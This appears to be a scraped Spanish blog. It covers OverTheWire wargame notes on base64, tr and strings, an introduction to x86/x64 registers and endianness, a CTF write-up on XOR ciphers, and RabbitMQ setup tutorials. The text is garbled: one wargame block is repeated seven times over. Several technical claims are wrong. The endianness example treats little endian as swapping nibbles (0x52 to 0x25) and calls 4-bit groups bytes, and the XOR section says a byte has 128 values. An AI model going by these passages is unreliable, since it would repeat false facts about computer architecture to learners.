La contraseña para el siguiente nivel se almacena en el archivo data.txt, que contiene datos codificados en base64.

base64

 Este comando permite codificar y decodificar cadenas en base64 desde la consola

base64 {file} //codifica el contenido de un archivo a base64
base64 -d {file}	//convierte el contenido del archivo en base64 a texto legible
echo "Welcome to overthewire - bytefate" | base64 //codifica directamente la linea de texto
echo "V2VsY29tZSB0byBvdmVydGhld2lyZSAtIGJ5dGVmYXRl" | base64 -d //codifica directamente la linea de texto

  

Reto->12:

La contraseña para el siguiente nivel se almacena en el archivo data.txt, donde todas las letras minúsculas (a-z) y mayúsculas (A-Z) han sido rotadas en 13 posiciones.

tr

 El comando tr significa translate, trabajando directamente con stdio, np permitiendo trabajar directamente con el archivo, puede manipular, transformar eliminar, cambiar letras, limitadores entre otros. tr trabaja con un conjunto de opciones, que por defecto se puede dejar en blanco, el set1 son los caracteres que se buscaran en el texto, el set2 son el conjunto de caracteres que se usara para modificarlos En este caso particular necesita mover 13 posiciones todas las letras siendo a convertida en m, b en n,...

tr {option} {set1} {set2} 
tr A-Za-z N-ZA-Nn-za-m //Rota la posicion de las letras 13 posiciones
tr -c 'as' 'dd'	//Remplazara todo lo demas que no coincida con set1 con set2

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se queire extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

martes, 17 de agosto de 2021

Introduccion a Arquitectura x86 y x64


CPU

Se encarga de procesar todas las instrucciones del dispositivo, que son interpretadas en lenguaje maquina (binarios), para facilitar el entendimiento de estas instrucciones es necesario traducirlo a un lenguaje mnemotécnico llamado Assembly (ASM).

 

Los assembler más populares son:

    NASM (Netwide Assembler).

    MASM (Microsoft Macro Assembler).

    GAS (GNU Assembler).

    FASM (Flat Assembler).

 Este post será muy interesante para entender cómo se compila programas.

 

Diferencias entre AT&T e Intel

A medida que se bajando de nivel, se va notando algunas cosas que no se necesitaba preocupar al momento de trabajar con lenguajes de alto nivel. Al trabajar con sistemas basados en Unix, tradicionalmente se tiene una sintaxis AT&T, en muchas herramientas se tiene la opción de obtener la sintaxis Intel. Ahora voy a nombrar algunas de las diferencias más significativas para identificar la sintaxis del ensamblador.

En algunas instrucciones donde se especifica el origen y el destino se invierten, mientras que para AT&T va primero el origen y luego el destino, en Intel es lo contrario primero el destino y luego en origen

AT&T

<instrucción> <origen><destino>

Intel

<instrucción> <destino><origen>

Un indicador de que se está trabajando con AT&T es que cada operando es precedido por un "%", mientras que Intel no lo utiliza.

 

Arquitectura 32

Endians:

Describe como es el orden de la secuencia de bytes se guardará en la memoria. Cuando se quiere representar un numero decimal con 2 bytes, por ejemplo, el 6, aquí entra el concepto del byte más significativo y el menos significativo. En este ejemplo el byte (0000) es el más significativo (MSB) y el byte (0110) menos significativo (LSB), y esto está dado porque si agregáramos un byte al primer byte (0001 0110 = 22) variaría más que si se lo agregáramos al segundo byte (0000 0111 = 7).  En Big Endian, el byte más significativo es el primero, en cambio en Little Endian el ultimo byte es el más significante.

Conocer la Endian es importante a la hora de interpretar los registros.

                                Binario                  Hex          Decimal

Big Endian           0101 0010            0x52           82

Little Endian       0101 0010            0x25            37

 

En procesadores modernos existe, registros de propósito general, registro de segmento, registros de banderas y un registro de puntero.


Registros GPR

Los registros GPR(General Purpose Register) almacenan direcciones de memoria o datos, que serán utilizados durante la ejecución del programa.

Abr Nombre Descripción
EAX Extended Accumulator
Register
Es responsable de manejar el resultado de
operaciones de llamada al sistema
EBX Extended Base
Register
Es usada para almacenar la dirección de
los datos en el segmento de registro DS
ECX Extended Counter
Register
Sirve como contador para strings y
operaciones cíclicas
EDX Extended Data
Register
Es usado para almacenar direcciones para
operaciones de entrada y salida
EBP Extended Base
Pointer
Apunta a la dirección de la base del Stack
EDI Extended Destination
Index
Es usado como el puntero de destino para
las operaciones de strings
ESI Extended Source
Index
Es usado como puntero de origen para las
operaciones de strings
ESP Extended Stack
Pointer
Apunta a la dirección de la parte superior
del Stack
EIP Extended Instruction
Pointer
Tiene 32 bits de ancho, apunta a la dirección
de la siguiente instrucción

 

 Estos registros tiene un tamaño específico que se pueden dividir en registros con tamaño mucho más pequeño, por ejemplo EAX tiene un tamaño de 32 bits, y a su vez puedo tener 2 registros AX de tamaño de 16 bits, un registro AX de 16 bits puede tener un 2 registros de 8 bits, llamados AH(high bit) y AL(low bit). En arquitecturas mas modernas como x64, se duplicó el espacio de memoria, por ejemplo un registro RAX es equivalente a 2 registros EAX.



Los registros EFLAGS tienen un tamaño de 32 bits y contiene varios diferentes flags que son usadas para varias operaciones, algunos de estos bits están reservados como lo son 1,3,5,15, 22 al 31. En arquitectura x64 son denominados RFLAGS.

Algunos EFLAGS:

Carry Flag (CF): Se encuentra en el bit 0 y este flag indica una condición de desbordamiento para operaciones aritmética de enteros sin signo.

Parity Flag (PF): Se encuentra en el bit 2 y se coloca si el bit más significativo contiene incluso un número de un solo bit.

Auxiliary Carry Flag (AF): Se encuentra en el bit 4 y es usado en operaciones matemáticas si la operación resultante es llevar y pedir prestado.

Zero Flag (ZF): Se encuentra en el bit 6,  tiene el valor de 1 y si es colocado 0 despejados. 

Sign Flag (SF): Se encuentra en el bit 7 y es usado para demarcar el signo de un entero.

Direccion Flag (DF): Se encuentra en el bit 10 y se usa para determinar la dirección de operaciones de string, si se pasa un 1, las instrucciones de string operan desde la dirección más alta a la más baja y si se pasa 0 viceversa.

Overflow Flag(OF): Se encuentra en el bit 11 y se establece si el resultado entero es un número positivo demasiado grande o pequeño para caber en el operando de destino o una condición de desbordamiento en una operación matemática.


lunes, 9 de agosto de 2021

CTF Crypto - I


 

Hace poco me encontre con unos cuantos retos de captura la bandera, estos estaban orientados a criptografía. Aunque no son los retos mas dificiles que hay fueron bastante interesantes para los que recien se enfrentan a este tipo de retos.


RETO 1: 


Este trataba de como trabaja los propiedades del la compuerta XOR.

El problema era el siguiente, te daban una serie de llaves que te ayudaran a encontrar la bandera la pista esta en los nombres de las llaves.

KEY1 = ...

KEY2^KEY1 = ...

KEY2^KEY3 = ...

FLAG^KEY2^KEY3^KEY1 = ...


La solucion esta en la pista y en las propiedades de la compuerta XOR, del siguente modo para obtener la segunda llave:

c =  a ^  b

b = a ^ c

KEY2 = KEY1  ^  KEY2^KEY1   

Asi se podra obtener la segunda llave xoreando las primeras 2 llaves. Del mismo modo se puede hallar la tercer llave y la bandera.

flag = k1  ^  k2  ^  k3  ^  f_k2_k3_k1

El truco es que como ya teniamos xoreado una de las llaves simplificaba la operacion y obtener la bandera.

flag = k1  ^  k2^k3  ^  f_k2_k3_k1
 

 

RETO 2: 

En este reto, te dan una larga cadena en hexadecimal que dentro de esta se halla la bandera y la unica pista que se dio fue que el formato de la bandera podria ayudar a solucionar el reto.

En realidad funciono bastante bien al xorear la misma cantidad de datos de la cadena encriptada con la longitud del formato, mostrando la clave con la que lo habian cifrado. Al intentar xorear toda la cadena con la llave que encontre, no funciono. 

flag = cadena ^ ( formatformat...)

Agregando una llave abierta ({) al formato, que es el siguiente caracter conocido, xorear toda la cadena, solo esta primer parte mostraba que habia funcionado. Asi que por fuerza bruta intente obtener el siguiente caracter, obteneniendo algunas opciones viables para ser la llave.

flag = cadena ^ ( format{format{...)

Al xorear el primer intento, note que tenia la longitud correcta de la llave y solo faltaba dar con el caracter correcto.

flag = cadena ^ ( format{cformat{c...)


RETO 3:

 En este reto dieron la cadena, la unica pista era que se habia xoreado con un solo byte. Asi que teniendo encunta que un byte tiene 128 valores diferentes, es factible obtener la bandera a travez de fuerza bruta, xoreando cada bite la cadena por el valor con el que se estaba probando.


NOTA: Algunos ctfs tienen prohibido publicar la solucion de los retos, por este motivo algunos aspectos fueron modificados para dar solo una vision ilustrativa del reto...



martes, 18 de mayo de 2021

Python y Message Broker - RabbitMQ I

INSTALACION:

RabbitMQ tiene soporte para varios sistemas operativos entre ellos Windows, Mac, Linux, BSD, UNIX, tambien se puede encontrar en repositorios Debian(apt) y RPM(Yum). Desde el lado de la nube, se puede encontrar varios proveedores especializados en SAAS, es muy compatible con kubernetes y ademas se puede encontrar una imagen en Dockerhub que en este caso voy a utlizar.


Lo primero sera descargar la imagen de RabbitMQ con el comando, eligiendo el plugin management que desplegara una interfaz que permite controlar y un monitorear lo relacionado a rabbitmq.

 docker pull rabbitmq:3-management

 

Para desplegar el contenedo uso el comando

 docker run -d --hostname bf-rabbit --name some-bf-rabbit -p 15672:15672 -p 5672:5672 rabbitmq:3-management

Lo que se ejecuto es lo siguiente 

run docker va a ejecutar una imagen 

-d la ejecucion sera en background

--hostname: le dara un hostname que sera importante a la hora de subirlo a un proveedor cloud

--name: sera el nombre que se le dara al contenedor

-p publicara un servicio, en este caso en el puerto 15672 estara corriendo la interfaz grafica y 5672 esta el servicio de cliente de rabbitmq.

Y para finalizar la imagen de rabbitmq y especifica que se requiere tambien el plugin management.


Bueno ya que el entorno esta corriendo, se puede ingresar a la interfaz a travez del navegador en el puerto 15672, en donde ingresar con usuario y contraseña que por defecto es guest/guest.


En este espacio, se puede hacer seguimiento de las colas, crear usuario,  muchas opciones que se abordaran en un proxymo post.


Ejemplos

RabbitMQ cuenta con soporte para distintos lenguajes, ya sea java,python,c#,js, entre otros, en este ejemplo se utilizara la libreria de python "pyka".

Productor.py


Primero importa la libreria pika.

Crea una conexion que recibe un parametro de conexion con una ip.

Crea un canal de conexion.

Declara un cola, dandole un nombre si no existe previamente.

Publicar un mensaje, usando un exchange por defecto, la ruta key que por el momento usara el nombre de la cola y el mensaje que se quiere enviar.

Cerrar una conexion.


 Consumidor.py

De manera muy similar al productor, importa la libreria, crea una conexion, crea un canal y una cola si no existia previamente. Luego crea una funcion que se utilizara por el momento para imprimir por pantalla el mensaje recibido, despues se define la cola en la que se enlazara, se llama la funcion que se creo anteriormente y los acuses de recepcion por defecto son manuales, el auto-ack facilita este flag .


Robin-Round Dispach

Imagina que estas haciendo muchas peticiones y que cada operacion se demora entre 2 - 3 segundos, de repente llegan 30 peticiones, esto representaria un retraso de cercano a un minuto y medio, la solucion es bastante sencilla,  colocar mas instancias de consumidores, permitiendo escalar

Productor.py

Modificando un poco el ejemplo anterior, para hacer enviar un numero arbitrario de peticiones.

Para probarlo, es tan sencillo como abrir una nueva ventana y ejecutar otro Consumidor.py, por defecto RabbitMQ enviará mensajes a los consumidor de forma secuencial, esta distribucion de mensajes le llaman round-robin. 

 

Message acknowledgment

Siguiendo el ejemplo, digamos que durante todo este proceso, uno de los consumidores muere, RabbitMQ lo marca para ser eliminado. 

Para evitar que ese mensaje pre procesado muera, RabbitMQ implemente el ack, es enviado de vuelta por el consumidor para decirle a RabbitMQ que un determinado mensaje ha sido recibido, procesado y que RabbitMQ es libre de borrarlo. 

Consumidor.py


 Con esta peqeña modificacion, no se perdera nada , los mensajes se volveran a entregar

 

El ack debe ser enviado en el mismo canal que recibió la entrega. Los intentos de acuse de recibo utilizando un canal diferente darán lugar a una excepción de protocolo a nivel de canal.


Message durability

 Que pasaria si por el contrario, es RabbitMQ el que se para o bloquea, hay que asegurar la cola o se perderan todos los mensajes. Para esto en la configuracion de la cola debe declararse como durable y aplicarse tanto a productor como a consumidor. Para evitar que la cola actual devuelva un error por pasarle otros parametros, se creara una nueva cola con otro nombre.

 channel.queue_declare(queue='nuevo_saludo', durable=True)  

Productor.py


Con esta modificacion marca como persistentes los mensajes, aunque no es una garantia muy fuerte, es suficiente para estas pruebas. Si posblemente les  genera un error en los consumidores, posiblemente sea porque no se ha modificado la cola del basic consume.

 channel.basic_consume(queue='nuevo_saludo'...)

 

Fair dispatch

RabbitQM distribuye los mensajes de manera uniforme, pero esto trae consigo de que alguno de los consumidores va a tener una sobre carga de trabajo. Para solucionar esto hay que decirle a RabbitMQ que no envie mas mensajes hasta que termine la operacion. 

Consumidor.py


La pequeña modificacion dice a RabbitMQ que no le envie mas de un mensaje a la vez a los consumidores.

 

ref: https://www.rabbitmq.com/

viernes, 14 de mayo de 2021

Primeros Pasos con RabbitQM

QUE ES RABBITMQ

RabbitMQ es un message broker de codigo libre, escalable y distibuido, basado inicialmente bajo el protocolo AMQP(Advanced Message Queuing Protocol), actualmente soporta otros protocolos de mensajeria como son STOMP ligero pensado para IoT y MQTT ligero orientado a texto.

 

CONCEPTOS DE RABBITMQ Y DEL SERVIDOR

Antes de profundizar, aqui algunos conceptos útiles para conocer a RabbitMQ


  •  Productor: Aplicación que genera los mensajes.
  •  Consumidor: Aplicación que recibe los mensajes.
  •  Cola: Estructura de como se almacenan los mensajes hasta que son consumidos o eliminados de la cola.
  •  Mensaje: Datos enviados del productor al consumido
  •  Conexión: Conexión TCP entre la aplicación y el RabbitMQ (messageBroker)
  •  Canal: Una conexión virtual dentro de una conexión que se utilizara para generar o consumir los mensajes.
  •  Intercambio (exchange): Recibe los mensajes de los productores y los envía a la cola segun las reglas definidas.
  •  Vinculación (binding): Una vinculación es una relación que se crea entre una cola y un intercambio.
  •  Clave de enrutamiento: La clave que el intercambio mira para decidir cómo enrutar el mensaje a las colas. Piensa en la clave de enrutamiento como la dirección de destino de un mensaje.
  •  Usuarios: Son creados con permisos asignados como derechos de lectura, escritura y confguración ademas de poder especificar hosts virtuales. 
  •  Vhost: Los hosts virtuales separan las aplicaciones que están usando la misma RabbitMQ.
  •  Acuses de Recepcion y Confirmaciones: Indicadores de que los mensajes han sido recibidos o se ha actuado sobre ellos.

 

FLUJO DE TRABAJO

  1. El productor publica un mensaje al exchange
  2. El exchange recibe el mensaje y pasa a enrutarlo
  3. Se establece un enlace entre el excange y la cola.
  4. El mensaje espera en la cola hasta que pueda ser aceptado por el consumido
  5. El consumidor procesa al mensaje


Existe varios tipos de Exchange con los que se puede alterar el trafico de los mensajes:

 

EXCHANGE DIRECTO: Se produce cuando hay un vinculo directo entre el productor y el consumidor. Esto se logra cuando la clave  de enrutamiento del mensaje coincide con la clave del enrutamiento, enviandolo a un consumidor concreto.

 

EXCHANGE TOPIC: Funciona de manera similar al exchange directo, sin embargo no necesita que haya una conincidencia exanca, este envia el mensaje a las colas que cumplan un patron definido.


EXCHANGE FANOUT: Este se comporta como un brodcast, enviando el mensaje a todos los consumidores que esten asociados a este exchange.

 
 

 En un proximo post, mostrare de forma practica como funciona RabbitMQ.